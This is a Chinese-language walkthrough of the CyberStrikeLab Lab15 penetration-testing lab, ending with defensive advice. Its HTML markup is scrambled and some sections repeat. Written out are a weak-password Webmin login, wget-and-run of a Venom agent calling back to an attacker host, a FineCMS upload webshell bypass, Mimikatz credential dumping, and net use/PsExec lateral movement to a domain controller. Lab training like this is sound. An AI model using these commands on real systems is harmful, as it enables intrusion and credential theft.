CyberStrikeLab Lab15 靶场渗透测试教学文档<\/h1>

靶场概述<\/h2>
CyberStrikeLab Lab15 是一个综合渗透测试靶场，包含多个网络环境和安全挑战。本教学文档将详细解析从外网渗透到内网横向移动的完整攻击链。<\/p>

环境拓扑<\/h2>

外网区域：
- Web1 (10.10.10.6): Webmin服务器
- Web2 (10.20.30.5): FineCMS服务器

内网区域：
- DC (10.20.30.66): 域控制器
- 其他主机：10.20.30.7等
<\/code><\/pre>
第一阶段：Web1渗透<\/h2>
1.1 目标识别<\/h3>

目标地址：10.10.10.6<\/li>
服务识别：Webmin管理面板（端口10000）<\/li>
<\/ul>
1.2 漏洞利用<\/h3>
攻击步骤：<\/strong><\/p>

尝试Webmin常见漏洞（CVE-2019-15107等）→ 无果<\/li>
弱口令爆破：root\/test → 成功登录<\/li>
后台命令执行：通过Command Shell功能直接执行系统命令<\/li>
<\/ol>
关键命令：<\/strong><\/p>
# 获取flag<\/span>
<\/span><\/span>cat \/flag.txt
<\/span><\/span><\/code><\/pre>1.3 权限维持<\/h3>
获取Linux主机权限后，建立持久化访问：<\/p>
# 启动HTTP服务传输工具<\/span>
<\/span><\/span>python3 -m http.server 80<\/span>
<\/span><\/span>
<\/span><\/span># 下载Venom代理工具<\/span>
<\/span><\/span>wget http:\/\/172.16.233.2\/agent_linux_x64
<\/span><\/span>chmod 777<\/span> agent_linux_x64
<\/span><\/span>.\/agent_linux_x64 -rhost 172.16.233.2 -rport 9999<\/span>
<\/span><\/span><\/code><\/pre>第二阶段：内网横向移动<\/h2>
2.1 网络探测<\/h3>
存活主机扫描：<\/strong><\/p>
for<\/span> i in {<\/span>1..254}<\/span>; do<\/span> 
<\/span><\/span>    ping -c 1<\/span> -W 1<\/span> 10.20.30.$i >\/dev\/null &&<\/span> echo "10.20.30.<\/span>$i is up"<\/span> & 
<\/span><\/span>done<\/span>; wait
<\/span><\/span><\/code><\/pre>发现主机：<\/strong><\/p>

10.20.30.5 (Web2 - FineCMS)<\/li>
10.20.30.66 (DC - 域控制器)<\/li>
10.20.30.7 (当前主机)<\/li>
<\/ul>
2.2 Web2渗透（FineCMS）<\/h3>
漏洞利用：<\/strong><\/p>

服务识别：<\/strong> FineCMS v5.3（端口8008）<\/li>
漏洞利用：<\/strong> 前台任意文件上传漏洞<\/li>
攻击步骤：<\/strong>

注册普通用户账号<\/li>
上传头像功能处上传图片马<\/li>
修改文件后缀为.php绕过检测<\/li>
获取Webshell路径：http:\/\/10.20.30.5:8008\/uploadfile\/member\/3\/0x0.php<\/code><\/li>
<\/ul>
<\/li>
<\/ol>
文件上传绕过技巧：<\/strong><\/p>

使用图片马+修改Content-Type<\/li>
直接修改文件名后缀为.php<\/li>
<\/ul>
2.3 内网代理建立<\/h3>
Venom代理配置：<\/strong><\/p>
# 攻击机启动监听<\/span>
<\/span><\/span>admin.exe -lport 9999<\/span>
<\/span><\/span>
<\/span><\/span># 目标机连接<\/span>
<\/span><\/span>.\/agent_linux_x64 -rhost 172.16.233.2 -rport 9999<\/span>
<\/span><\/span>
<\/span><\/span># 建立socks5代理<\/span>
<\/span><\/span>goto 1<\/span>
<\/span><\/span>socks 9998<\/span>
<\/span><\/span><\/code><\/pre>第三阶段：域渗透<\/h2>
3.1 信息收集<\/h3>
系统信息：<\/strong><\/p>
# 进程分析
<\/span><\/span>tasklist \/svc
<\/span><\/span># 发现chrome.exe进程（可能存在保存的密码）
<\/span><\/span>
<\/span><\/span># 端口扫描
<\/span><\/span>netstat -ano
<\/span><\/span># 发现未开启3389远程桌面
<\/span><\/span><\/code><\/pre>3.2 权限提升与持久化<\/h3>
开启RDP服务：<\/strong><\/p>
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "<\/span>Server \/v fDenyTSConnections \/t REG_DWORD \/d 00000000 \/f
<\/span><\/span><\/code><\/pre>3.3 凭证窃取<\/h3>
使用Mimikatz提取哈希：<\/strong><\/p>
mimikatz.exe "privilege::debug"<\/span> "sekurlsa::logonpasswords full"<\/span> exit
<\/span><\/span><\/code><\/pre>获取的凭证信息：<\/strong><\/p>

机器账户：CSLAB$<\/li>
域：CYBERSTRIKE<\/li>
NTLM Hash：263e2e402837e30459148f4f0f49fb3e<\/li>
解密后密码：qwe!@#123<\/li>
<\/ul>
3.4 浏览器密码提取<\/h3>
Chrome保存的密码：<\/strong><\/p>

用户名：administrator<\/li>
密码：cs1ab@ijws（推测为域管理员密码）<\/li>
<\/ul>
3.5 横向移动<\/h3>
IPC连接建立：<\/strong><\/p>
net use \\10.20.30.66\ipc$ "cs1ab@ijws"<\/span> \/user:administrator
<\/span><\/span><\/code><\/pre>PsExec远程执行：<\/strong><\/p>
psexec.exe \\10.20.30.66 -s cmd
<\/span><\/span><\/code><\/pre>关键技术与工具总结<\/h2>
4.1 漏洞利用技术<\/h3>

弱口令攻击：<\/strong> Webmin的root\/test<\/li>
文件上传绕过：<\/strong> FineCMS头像上传漏洞<\/li>
哈希传递攻击（PTH）：<\/strong> Mimikatz提取的NTLM哈希<\/li>
<\/ol>
4.2 内网渗透工具<\/h3>

Venom：<\/strong> 多层代理工具<\/li>
Mimikatz：<\/strong> Windows凭证提取<\/li>
PsExec：<\/strong> 远程命令执行<\/li>
Net use：<\/strong> 网络共享连接<\/li>
<\/ol>
4.3 防御规避技术<\/h3>

端口重用：<\/strong> 使用现有Web端口建立代理<\/li>
合法工具滥用：<\/strong> 使用系统自带工具进行横向移动<\/li>
流量伪装：<\/strong> HTTP正常流量中混入攻击数据<\/li>
<\/ol>
防御建议<\/h2>
5.1 基础防护<\/h3>

强密码策略：<\/strong> 避免使用默认密码和弱口令<\/li>
最小权限原则：<\/strong> 服务账户使用最低必要权限<\/li>
及时更新：<\/strong> 修复已知漏洞（FineCMS任意文件上传）<\/li>
<\/ol>
5.2 内网防护<\/h3>

网络分段：<\/strong> 严格隔离不同安全级别的网络区域<\/li>
监控告警：<\/strong> 检测异常登录和横向移动行为<\/li>
凭证保护：<\/strong> 使用LSA保护防止Mimikatz提取哈希<\/li>
<\/ol>
5.3 纵深防御<\/h3>

应用白名单：<\/strong> 限制可疑程序执行<\/li>
日志审计：<\/strong> 完整记录安全相关事件<\/li>
应急响应：<\/strong> 建立快速检测和响应机制<\/li>
<\/ol>
总结<\/h2>
本靶场完整演示了从外网渗透到内网域控获取的完整攻击链，涵盖了信息收集、漏洞利用、权限提升、横向移动等关键渗透测试环节。防御方应重点关注弱口令防护、漏洞修补和内网监控等关键安全措施。<\/p>

CyberStrikeLab Lab15 靶场渗透测试教学文档<\/h1>

靶场概述<\/h2> CyberStrikeLab Lab15 是一个综合渗透测试靶场，包含多个网络环境和安全挑战。本教学文档将详细解析从外网渗透到内网横向移动的完整攻击链。<\/p>

第一阶段：Web1渗透<\/h2>

第二阶段：内网横向移动<\/h2>

第三阶段：域渗透<\/h2>

关键技术与工具总结<\/h2>

防御建议<\/h2>

总结<\/h2> 本靶场完整演示了从外网渗透到内网域控获取的完整攻击链，涵盖了信息收集、漏洞利用、权限提升、横向移动等关键渗透测试环节。防御方应重点关注弱口令防护、漏洞修补和内网监控等关键安全措施。<\/p>

靶场概述<\/h2>
CyberStrikeLab Lab15 是一个综合渗透测试靶场，包含多个网络环境和安全挑战。本教学文档将详细解析从外网渗透到内网横向移动的完整攻击链。<\/p>

总结<\/h2>
本靶场完整演示了从外网渗透到内网域控获取的完整攻击链，涵盖了信息收集、漏洞利用、权限提升、横向移动等关键渗透测试环节。防御方应重点关注弱口令防护、漏洞修补和内网监控等关键安全措施。<\/p>